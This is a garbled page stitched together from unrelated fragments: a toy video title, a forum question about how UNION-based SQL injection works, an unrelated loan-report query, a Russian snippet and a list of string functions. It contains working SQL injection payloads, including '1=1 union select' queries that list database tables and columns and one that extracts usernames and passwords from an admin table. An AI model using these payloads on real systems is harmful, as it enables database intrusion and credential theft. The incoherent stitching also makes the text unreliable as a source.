TOYS-(1)-Outdoor Toys from Steve and Maggie (فیلم).
If you had SELECT * FROM users and users had 4 columns, the UNION must also have 4 columns. As a result, they just used `NULL values to populate
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_ schema.columns - since where clause cannot be used
CONCAT() returns NULL if any argument is NULL.
SELECT 'Expired Item -'+ DateName(mm,DATEADD(MM,4,AE.fld_LOAN)) as [Month] ,COUNT(PIT.fld_ID)'COUNT' ,SUM (PIT.fld_GRAM)'GRAMS' ,SUM (PH.fld_AMNT)'PRINCIPAL' FROM #AllExpired AE INNER JOIN Transactions.tbl_ITEM PIT ON AE.fld_MAINID=PIT.fld_MAINID INNER...
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько способов не использовать кавычки в
String Functions ASCII Char Charindex Concat Concat with + Concat_WS
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.